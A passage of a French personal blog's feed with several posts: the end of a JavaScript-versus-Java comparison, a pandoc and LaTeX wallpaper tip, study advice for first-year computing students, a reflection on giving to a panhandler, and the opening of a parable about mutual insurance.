&lt;span class="nx"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Parent&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;constructeur&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;Child&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le constructeur de l&amp;rsquo;enfant appelle le constructeur du parent. Le prototype de l&amp;rsquo;enfant est celui du parent. C&amp;rsquo;est ce qui marque l&amp;rsquo;héritage. Le constructeur de l&amp;rsquo;enfant s&amp;rsquo;appelle &lt;em&gt;Child&lt;/em&gt;. Sans ça, il s&amp;rsquo;appellerait &lt;em&gt;Parent&lt;/em&gt;. Le prototype de l&amp;rsquo;enfant est complété. Il est possible de réécrire des fonctions définies dans le parent.&lt;/p&gt;
&lt;p&gt;Comme en Java toutes les classes héritent de la classe &lt;code&gt;Object&lt;/code&gt;, en Javascript tous les constructeurs héritent du prototype de &lt;code&gt;Object&lt;/code&gt;. Cet objet propose quelques fonctions semblables aux méthodes de la classe &lt;code&gt;Object&lt;/code&gt; de Java: &lt;code&gt;toString&lt;/code&gt;, &lt;code&gt;hasOwnProperty&lt;/code&gt;, &lt;code&gt;valueOf&lt;/code&gt;…&lt;/p&gt;
&lt;p&gt;En Java, si je veux « enrichir » un objet, j&amp;rsquo;en hérite ou je réédite la classe et recompile. Pour les classes du langage, je ne peux pas les compléter. En Javascript, je peux directement compléter le prototype de n&amp;rsquo;importe quel objet. À utiliser avec parcimonie.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;foo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="err"&gt;…&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="falsey"&gt;&lt;em&gt;falsey - trusthy&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Java n&amp;rsquo;accepte que deux valeurs booléennes; &lt;code&gt;true&lt;/code&gt; et &lt;code&gt;false&lt;/code&gt;. Lors de l&amp;rsquo;évaluation d&amp;rsquo;une expression booléenne, celle-ci doit donc être vraie ou fausse. Parfois, on aimerait dire que c&amp;rsquo;est faux alors que la valeur n&amp;rsquo;est pas (vraiment) fausse. On voudrait dire que si c&amp;rsquo;est &lt;code&gt;null&lt;/code&gt; c&amp;rsquo;est faux ou bien que si c&amp;rsquo;est &lt;code&gt;undefined&lt;/code&gt;, c&amp;rsquo;est faux…&lt;/p&gt;
&lt;p&gt;Javascript propose la &lt;em&gt;falsey value&lt;/em&gt; qui peut apparaitre dans un test.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;falsey value&lt;/em&gt;: &lt;code&gt;undefined&lt;/code&gt;, &lt;code&gt;0&lt;/code&gt;, &lt;code&gt;NaN&lt;/code&gt;, &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;""&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Toute valeur qui n&amp;rsquo;est pas &lt;em&gt;falsey&lt;/em&gt; est &lt;em&gt;trusthy&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Javascript et Java sont deux langages différents, plus personne n&amp;rsquo;en doute maintenant. Cet article ne pointe que l&amp;rsquo;une ou l&amp;rsquo;autre différences &lt;strong&gt;propres au noyau du langage&lt;/strong&gt;. Je ne m&amp;rsquo;intéresse pas ici aux différences dans la gestion des évènements, des entrées / sorties, des formats de communications entre applications…&lt;/p&gt;
&lt;p&gt;Il reste énormément à dire sur Java et sur Javascript. Le but n&amp;rsquo;était pas de présenter les deux langages. Pour aller plus loin, je vous encourage à lire &lt;a href="http://shop.oreilly.com/product/0636920027065.do"&gt;Head First Javascript Programming&lt;/a&gt;. Pour avoir une introduction d&amp;rsquo;un autre genre, &lt;a href="http://connect.ed-diamond.com/Linux-Pratique/LPHS-024/"&gt;Linux Pratique Hors Série 24&lt;/a&gt; nous parle de Javascript, &lt;a href="https://jquery.com/"&gt;JQuery&lt;/a&gt; et &lt;a href="https://angularjs.org/"&gt;AngularJS&lt;/a&gt;. &lt;a href="http://phantomjs.org/"&gt;PhantomJS&lt;/a&gt; nous permet d&amp;rsquo;&lt;a href="http://namok.be/blog/?post/2015/07/29/recuperer-derniere-image-instagram"&gt;exécuter du code JS sans navigateur&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale…&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://sudlice.deviantart.com/art/Blue-Duck-478744192"&gt;Sudlice&lt;/a&gt;. Si ça vole comme un canard, cancane comme un canard et nage comme un canard. Alors, c&amp;rsquo;est un canard… bleu.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Annexes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/documents/20151010-BLOG-javascript-java.md.pdf" title="20151010-BLOG-javascript-java.md.pdf (374.47 KB)"&gt;20151010-BLOG-javascript-java.md.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>LaTeX, markdown et wallpaper</title><link href="http://blog.namok.be/2015-10-08-latex-markdown-wallpaper.html" rel="alternate"/><published>2015-10-08T00:00:00+02:00</published><updated>2015-10-08T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-10-08:/2015-10-08-latex-markdown-wallpaper.html</id><summary type="html">Rapide tuto pour utiliser le package LaTeX Wallpaper avec markdown et pandoc.</summary><content type="html">&lt;p&gt;&lt;img alt="screenshot-latex-wallpaper-12.jpg" src="/images/screenshot-latex-wallpaper-12.jpg" title="screenshot-latex-wallpaper-12.jpg, oct. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Si toi aussi tu rédiges en &lt;a href="2013-11-19-billet-markdown.html"&gt;markdown&lt;/a&gt; que tu exportes en pdf et que tu aimes bien utiliser des images de grandes tailles, alors le &lt;em&gt;package&lt;/em&gt; &lt;strong&gt;Wallpaper&lt;/strong&gt; (&lt;a href="https://www.ctan.org/pkg/wallpaper?lang=en"&gt;doc&lt;/a&gt;) est fait pour toi. Je suppose aussi que tu exportes en utilisant &lt;a href="2014-04-01-vrac-14.html"&gt;pandoc&lt;/a&gt; avec une commande du style:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pandoc&lt;span class="w"&gt; &lt;/span&gt;monjolifichier.md&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;monjolifichier.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Tu peux commencer ton document avec ce mélange de markdown et de LaTeX un peu pourri mais qui fait le boulot:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt; ---
title: &lt;span class="k"&gt;\Huge&lt;/span&gt; Awesome title
author: &lt;span class="k"&gt;\huge&lt;/span&gt; Juste Leblanc
date: &lt;span class="k"&gt;\LARGE\tt&lt;/span&gt; jl@example.org
abstract: &lt;span class="k"&gt;\bigskip\centering\huge\bf\textcolor&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;white&lt;span class="nb"&gt;}{&lt;/span&gt;octobre 2015 &lt;span class="k"&gt;\\&lt;/span&gt; v1.0&lt;span class="nb"&gt;}&lt;/span&gt;
header-includes:  
    - &lt;span class="k"&gt;\usepackage&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;wallpaper&lt;span class="nb"&gt;}&lt;/span&gt;
    - &lt;span class="k"&gt;\renewcommand&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\abstractname&lt;/span&gt;&lt;span class="nb"&gt;}{}&lt;/span&gt;
geometry: margin=3cm
 ---

&lt;span class="k"&gt;\ThisTileWallPaper&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\paperwidth&lt;/span&gt;&lt;span class="nb"&gt;}{&lt;/span&gt;&lt;span class="k"&gt;\paperheight&lt;/span&gt;&lt;span class="nb"&gt;}{&lt;/span&gt;img/awesomeimage.jpg&lt;span class="nb"&gt;}&lt;/span&gt;
(ou bien)
&lt;span class="k"&gt;\ThisLLCornerWallPaper&lt;/span&gt;&lt;span class="nb"&gt;{&lt;/span&gt;1&lt;span class="nb"&gt;}{&lt;/span&gt;img/awesomeimage.jpg&lt;span class="nb"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et voilà, ce billet me sert d&amp;rsquo;aide mémoire.&lt;/p&gt;</content></entry><entry><title>Comment bien commencer son bachelor en informatique ?</title><link href="http://blog.namok.be/2015-09-11-comment-bien-commencer-son-bachelor-en-informatique.html" rel="alternate"/><published>2015-09-11T00:00:00+02:00</published><updated>2015-09-11T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-09-11:/2015-09-11-comment-bien-commencer-son-bachelor-en-informatique.html</id><summary type="html">ou Quelques conseils pour se donner les chances de réussir son bac en informatique.</summary><content type="html">&lt;p&gt;&lt;strong&gt;ou Quelques conseils pour se donner les chances de réussir son bac en informatique.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;ou Les conseils d&amp;rsquo;un vieux con pour entamer ses études supérieures en informatique.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="binary-8190fd5461b68d55955ec1260ec9b6ad.jpg" src="/images/binary-8190fd5461b68d55955ec1260ec9b6ad.jpg" title="binary-8190fd5461b68d55955ec1260ec9b6ad.jpg, sept. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Le passage du secondaire au supérieur n&amp;rsquo;est pas plus difficile ni perturbant que le passage du primaire au secondaire. C&amp;rsquo;est important. C&amp;rsquo;est super cool ! C&amp;rsquo;est généralement le moment où l&amp;rsquo;on obtient (beaucoup) plus d&amp;rsquo;autonomie. J&amp;rsquo;en ai un excellent souvenir.&lt;/p&gt;
&lt;p&gt;Ces années du supérieur sont d&amp;rsquo;autant plus intéressantes si la réussite est de la partie. Ce sont autant de moments de guindailles, que de rencontres, que de périodes d&amp;rsquo;apprentissage que de… oui, je suis un peu nostalgique.&lt;/p&gt;
&lt;p&gt;Bref, fini le secondaire ! C&amp;rsquo;est parti pour une première année d&amp;rsquo;étude.&lt;/p&gt;
&lt;p&gt;— Maman, c&amp;rsquo;est celle-là la grande école ?&lt;br&gt;
— Oui, mon chéri, maintenant tu y es.&lt;/p&gt;
&lt;p&gt;Pour avoir plus de chance de décrocher un travail à la fin du parcours et pour bien s&amp;rsquo;intégrer dans l&amp;rsquo;établissement, les &lt;em&gt;soft skills&lt;/em&gt; sont primordiales. Les &lt;em&gt;soft skills&lt;/em&gt; ou compétences souples sont les compétences que l&amp;rsquo;on développe et qui ne sont pas liées à la matière ni au métier. On peut citer: la ponctualité, la communication, l&amp;rsquo;assertivité, la sociabilité, la capacité d&amp;rsquo;entrer en contact avec les autres, la gestion et la place dans un groupe…&lt;/p&gt;
&lt;p&gt;Ces compétences sont difficilement quantifiables et pourtant primordiales. Certaines d&amp;rsquo;entre elles transparaissent dès la première poignée de main. Des recruteurs savent parfois qu&amp;rsquo;ils n&amp;rsquo;engageront pas un candidat simplement en le regardant entrer dans la pièce &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;— Oui mais, je suis timide et je n&amp;rsquo;y peux rien.&lt;/p&gt;
&lt;p&gt;Il ne s&amp;rsquo;agit pas « d&amp;rsquo;avoir ou pas » ses compétences, il s&amp;rsquo;agit — c&amp;rsquo;est mon avis hein ! Comme toujours ici. — d&amp;rsquo;avoir un mélange qui fonctionne. &lt;strong&gt;Chacun compense ses faiblesses en renforçant ses qualités&lt;/strong&gt;. C&amp;rsquo;est bien de garder ça dans un coin de la tête.&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;égare. Revenons sur ces premiers jours en &lt;em&gt;bachelor&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Distinguons les compétences transversales et verticales. Les compétences transversales sont celles qui me seront utiles dans tous les cours et dans ma vie professionnelle (les &lt;em&gt;soft skills&lt;/em&gt; en font partie mais pas uniquement). Les compétences verticales sont spécifiques à une matière. Ces compétences là seront détaillées et clairement définies dans chaque cours. Voici ma petite liste de compétences transversales.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1/ Connaitre et utiliser correctement ses outils&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="parentheseaccolade.png" class="right" src="/images/parentheseaccolade.png" title="parentheseaccolade.png, juin 2014" width="250px"&gt;&lt;/p&gt;
&lt;p&gt;Le &lt;strong&gt;papier et le crayon&lt;/strong&gt; — ne partez pas ! C&amp;rsquo;est mieux après — sont bien utiles. Ils ne sont ni facultatifs ni obsolètes. On ne fait pas tout sur le &lt;em&gt;laptop&lt;/em&gt;. Il faudra prendre note rapidement &lt;em&gt;d&amp;rsquo;un truc&lt;/em&gt;, faire un schéma sur un bout de papier (&lt;a href="2010-11-09-Epsilon-2010.html"&gt;ou au dos d&amp;rsquo;une serviette&lt;/a&gt;), noter quelques tâches à exécuter dans la journée ou simplement prendre note.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;autre outil est fatalement l&amp;rsquo;ordinateur et d&amp;rsquo;abord, son &lt;strong&gt;clavier&lt;/strong&gt;. C&amp;rsquo;est un bon investissement d&amp;rsquo;être capable de &lt;strong&gt;taper à l&amp;rsquo;aveugle&lt;/strong&gt; et c&amp;rsquo;est un minimum de &lt;a href="2014-06-05-quels-sont-les-4-premiers-mots-du-developpeur.html"&gt;connaitre toutes les touches&lt;/a&gt;; accolades &lt;code&gt;{}&lt;/code&gt;, crochets &lt;code&gt;[]&lt;/code&gt;, parenthèses &lt;code&gt;()&lt;/code&gt;, chevrons &lt;code&gt;&amp;lt;&amp;gt;&lt;/code&gt;, guillemet simple &lt;code&gt;'&lt;/code&gt;, guillemet double &lt;code&gt;"&lt;/code&gt;, guillemets français &lt;code&gt;« »&lt;/code&gt;, pipe &lt;code&gt;|&lt;/code&gt;, tilde &lt;code&gt;~&lt;/code&gt;, etc.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2/ Aller au cours et participer&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="2012-08-28-rentree-je-vais-au-cours.html"&gt;Aller au cours&lt;/a&gt; offre beaucoup d&amp;rsquo;avantages; être dans le mouvement, rester informé, &lt;a href="2015-03-03-prise-de-notes-cornell.html"&gt;prendre ses propres notes&lt;/a&gt;, développer ses &lt;em&gt;soft skills&lt;/em&gt; par le contact avec les autres…&lt;/p&gt;
&lt;p&gt;Un processus d&amp;rsquo;apprentissage qui me convient et qui permet d&amp;rsquo;ancrer ses apprentissages consiste — en bref — en:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la &lt;a href="2015-03-03-prise-de-notes-cornell.html"&gt;prise de note pendant l&amp;rsquo;exposé&lt;/a&gt; s&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un exposé ou pendant la lecture s&amp;rsquo;il s&amp;rsquo;agit d&amp;rsquo;un texte ou d&amp;rsquo;un livre;&lt;/li&gt;
&lt;li&gt;le résumé de ces notes dans un petit carnet;&lt;/li&gt;
&lt;li&gt;la relecture régulière de ce carnet pour fixer les apprentissages (&lt;a href="2014-11-12-pourquoi-retenir.html"&gt;pour retenir&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3/ Éditeur de texte&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vous aller écrire du code, des notes, des résumés… On suppose que &lt;a href="2010-06-04-evaluation-des-outils-web-mis-a-la-disposition-des-etudiants.html"&gt;vous connaissez vos outils bureautiques&lt;/a&gt; de base. Cependant ce dont vous aurez besoin, c&amp;rsquo;est d&amp;rsquo;un &lt;strong&gt;éditeur de texte&lt;/strong&gt;… même mieux, un &lt;strong&gt;éditeur de code&lt;/strong&gt;. Cet éditeur de code — qui propose une coloration syntaxique — vous suivra partout. C&amp;rsquo;est lui qui vous permettra d&amp;rsquo;éditer des fichiers de configuration, d&amp;rsquo;écrire du texte qui sera mouliné par LaTeX ou en &lt;a href="2013-11-19-billet-markdown.html"&gt;markdown&lt;/a&gt; ou encore de « coder des petits trucs et autres scripts ».&lt;/p&gt;
&lt;p&gt;Il existe, par exemple &lt;a href="http://vim.org/"&gt;gVim&lt;/a&gt; (logiciel libre) ou &lt;a href="http://www.sublimetext.com/"&gt;SublimeText&lt;/a&gt; (proprio) qui tourne sur n&amp;rsquo;importe quelle plateforme. Sous MS Windows uniquement c&amp;rsquo;est &lt;a href="https://notepad-plus-plus.org/"&gt;Notepad++&lt;/a&gt; le plus connu (à ne pas confondre avec son petit frère Notepad). Vous ferez votre choix en fonction du monde dans lequel vous vivez (MS Windows ou Linux).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4/ Écouter les conseils&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Bien sûr qu&amp;rsquo;il y a une multitudes de choses que vous savez. Évidemment vous avez déjà vos habitudes. Sûrement que faire sa propre expérience est un bon apprentissage &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. Et pourtant, &lt;strong&gt;peut-être&lt;/strong&gt; que les profs ont, &lt;strong&gt;malgré tout&lt;/strong&gt;, de bons conseils que l&amp;rsquo;on pourrait suivre.&lt;/p&gt;
&lt;p&gt;Écouter le conseil de quelqu&amp;rsquo;un qui a l&amp;rsquo;expérience permettra de gagner du temps. Si pas aujourd&amp;rsquo;hui, peut-être demain.&lt;/p&gt;
&lt;p&gt;Je termine par deux petites choses:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Si tu balades ton &lt;em&gt;laptop&lt;/em&gt;, tu balades aussi avec un chargeur. Emmène aussi un multi-prises, il y a plus de &lt;em&gt;laptop&lt;/em&gt; que de prises de courant ;-)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les profs préfèrent des étudiants qui réussissent. &lt;strong&gt;Aucun&lt;/strong&gt; prof n&amp;rsquo;a envie qu&amp;rsquo;un étudiant rate. &lt;a href="2012-08-30-si-vous-croyez-que-votre-professeur-est-dur-avec-vous-attendez-d-avoir-un-patron.html"&gt;N&amp;rsquo;oubliez pas que l&amp;rsquo;école ne vous apprend pas tout&lt;/a&gt;, elle est là pour vous permettre d&amp;rsquo;obtenir un diplôme bien sûr mais surtout pour vous donner l&amp;rsquo;envie d&amp;rsquo;apprendre et l&amp;rsquo;autonomie pour le faire seul ensuite.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Il reste à prendre le chemin de l&amp;rsquo;école…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://jeanfan.deviantart.com/art/binary-hopscotch-105518958"&gt;JeanFan&lt;/a&gt;. La marelle c&amp;rsquo;est l&amp;rsquo;école… et la marelle binaire, c&amp;rsquo;est juste Wouah !&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;On ne parle pas ici de sa couleur de peau ou de sa barbe (tous les &lt;em&gt;geeks&lt;/em&gt; on une barbe 😉), simplement de ce qu&amp;rsquo;il dégage comme impression. Sa poignée de main est-elle ferme ? Sa démarche montre-t-elle une confiance en soi ni trop grande ni trop petite. Me regarde-t-il lorsqu&amp;rsquo;il me salue ? Est-il souriant ? &lt;em&gt;Sur la balle ?&lt;/em&gt;&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Ça, j&amp;rsquo;en suis convaincu et c&amp;rsquo;est ce que je défends. S&amp;rsquo;il est bon d&amp;rsquo;essayer sa méthode pour se convaincre de sa faisabilité, s&amp;rsquo;entêter est vain.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Faire la manche</title><link href="http://blog.namok.be/2015-09-03-faire-la-manche.html" rel="alternate"/><published>2015-09-03T00:00:00+02:00</published><updated>2015-09-03T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-09-03:/2015-09-03-faire-la-manche.html</id><summary type="html">Faire la manche</summary><content type="html">&lt;p&gt;&lt;img alt="Panhandler on the outside" src="/images/panhandler-3732060907_b24d47b874_o.jpg"&gt;&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai 20 ans — d&amp;rsquo;abord je suis invincible — et je sais tout sur tout. Quel que soit le sujet, j&amp;rsquo;ai un avis très tranché. Je sais. Moi. Monsieur.&lt;/p&gt;
&lt;p&gt;Ce gars qui fait la manche sur le chemin de l&amp;rsquo;école, pourquoi ne travaille-t-il pas ? S&amp;rsquo;il ne travaille pas, c&amp;rsquo;est à la communauté de le prendre en charge. Il doit toucher des allocations de chômage. Surement. Si pas, il émarge du CPAS. Je termine mes études et mes parents travaillent. Ils paient leurs impôts. Je ne lui donnerai pas d&amp;rsquo;argent. Si je commence, je vais devoir donner à tout le monde et ce n&amp;rsquo;est pas avec l&amp;rsquo;argent de poche que je reçois que je vais m&amp;rsquo;en sortir. Un de mes potes affirme d&amp;rsquo;ailleurs avoir déjà vu &lt;em&gt;ces gens&lt;/em&gt; monter dans de belles bagnoles en fin de journée. Il s&amp;rsquo;agit de filières qu&amp;rsquo;il ne faut pas encourager.&lt;/p&gt;
&lt;p&gt;Non, décidément, je ne donne pas.&lt;br&gt;
Ce n&amp;rsquo;est pas à moi de le faire, la société est là pour ça.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai 40 ans. Avant j&amp;rsquo;avais des principes, maintenant j&amp;rsquo;ai des enfants comme on dit. La vie m&amp;rsquo;a donné plein d&amp;rsquo;expérience et pourtant je suis de moins en moins sûr. Je ne suis pas un imbécile, je peux donc changer d&amp;rsquo;avis quand je veux. J&amp;rsquo;ai pas raison ?&lt;/p&gt;
&lt;p&gt;Ça fait des années que je passe à côté de ce monsieur, parfois c&amp;rsquo;est une dame avec son enfant — est-ce le sien d&amp;rsquo;ailleurs ? — qui fait la manche sur le chemin du boulot. Je ne l&amp;rsquo;ai jamais ignoré. Je l&amp;rsquo;ai toujours gratifié d&amp;rsquo;un bonjour auquel il répond d&amp;rsquo;un air un peu malheureux. Je le vois le matin et le soir. Je finis par avoir l&amp;rsquo;impression que l&amp;rsquo;on se connait ! Je me dis parfois que la manche, c&amp;rsquo;est son travail. Pourquoi ferais-je semblant de ne pas le voir ? Je le salue. Je ne lui ai jamais rien donné et pourtant, aujourd&amp;rsquo;hui, j&amp;rsquo;hésite. Je ne le reconnais plus. Hier il ressemblait à tous les autres. S&amp;rsquo;il n&amp;rsquo;était pas assis, le voir arriver suffisait à le reconnaitre.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, ce n&amp;rsquo;est plus pareil.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;est plus d&amp;rsquo;une nationalité unique, il est de toute nationalité. De toute couleur, de toute langue. Il n&amp;rsquo;est plus unique, il n&amp;rsquo;est plus vraiment reconnaissable. Ça, ça m&amp;rsquo;inquiète. S&amp;rsquo;il peut être n&amp;rsquo;importe qui, il peut être mon voisin. Ou moi ! Ça pourrait m&amp;rsquo;arriver à moi. Ma situation — notre situation — est-elle si stable finalement ? Suis-je à l&amp;rsquo;abri d&amp;rsquo;une catastrophe, du terrorisme, d&amp;rsquo;une guerre, d&amp;rsquo;une perte d&amp;rsquo;emploi, d&amp;rsquo;une réduction de mes droits. Mes droits. Ils me sont chers et pourtant je ne les ai pas acquis. On me les a donnés. Je râle un peu pour la météo ou le retard des trains voire pour le boulot. Je râle un peu avec mon cul dans le beurre. Comment je réagirais si j&amp;rsquo;avais faim ou peur ?&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je l&amp;rsquo;ai vu faire la manche et je lui ai donné un sou.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo CC-BY-NC-ND chez &lt;a href="http://flickr.com/"&gt;Flickr&lt;/a&gt; par &lt;a href="https://www.flickr.com/photos/darkb4dawn/3732060907"&gt;Henrik Berger Jørgensen&lt;/a&gt;. Elle fait la manche avec son bébé. Quelles sont ses raisons ?&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Quelle assurance !</title><link href="http://blog.namok.be/2015-08-31-quelle-assurance.html" rel="alternate"/><published>2015-08-31T00:00:00+02:00</published><updated>2015-08-31T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-08-31:/2015-08-31-quelle-assurance.html</id><summary type="html">Quelle assurance !</summary><content type="html">&lt;p&gt;&lt;img alt="Old house" src="/images/old_house_in_the_sunset_by_greggorievich.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Ma maison est construite depuis une semaine maintenant. Elle est exactement comme je l&amp;rsquo;imaginais. Les rondins de bois un peu plus gros que prévu lui permettront de mieux résister à la neige. Faire un petit hall dans l&amp;rsquo;entrée avant de déboucher dans le pièce principale était vraiment une bonne idée. Je m&amp;rsquo;y sens bien.&lt;/p&gt;
&lt;p&gt;Cette lampe mal éteinte avant de partir à la réunion. Ce n&amp;rsquo;était vraiment pas de chance. Toute la maison est partie en fumée. Il ne reste rien.&lt;/p&gt;
&lt;p&gt;Les gens du village sont tous venus me donner un coup de main pour la reconstruction de la maison. C&amp;rsquo;était un fameux travail et tout le monde y a contribué. Elle est aussi belle qu&amp;rsquo;avant. Mes voisins et les gens du village ne sont pas spécialement plus gentils que les autres mais c&amp;rsquo;est comme ça que l&amp;rsquo;entraide fonctionne chez nous. Ils seraient tous contents que je fasse pareil pour eux. Et je ferais bien entendu pareil pour eux.&lt;/p&gt;
&lt;p&gt;~&lt;/p&gt;
&lt;p&gt;Je viens de verser ma redevance au pot commun de la petite communauté de voisins. Cet argent servira à aider celui d&amp;rsquo;entre nous qui souffrirait d&amp;rsquo;un incendie ou d&amp;rsquo;un gros ennui de santé. Nous avons décidé la création de ce pot quelques jours après l&amp;rsquo;accident de Henry-Kévin. Son car-port s&amp;rsquo;était effondré et l&amp;rsquo;argent a permis de le reconstruire rapidement. Il faut dire qu&amp;rsquo;il l&amp;rsquo;avait construit un peu n&amp;rsquo;importe comment !&lt;/p&gt;
&lt;p&gt;Nous étions tous d&amp;rsquo;accord d&amp;rsquo;utiliser le pot commun. Tous les voisins y contribuent et il ne sert heureusement pas trop souvent. Il nous permet de voir l&amp;rsquo;avenir plus sereinement en sachant qu&amp;rsquo;une somme d&amp;rsquo;argent — assez rondelette maintenant — est disponible en cas de pépin.&lt;/p&gt;
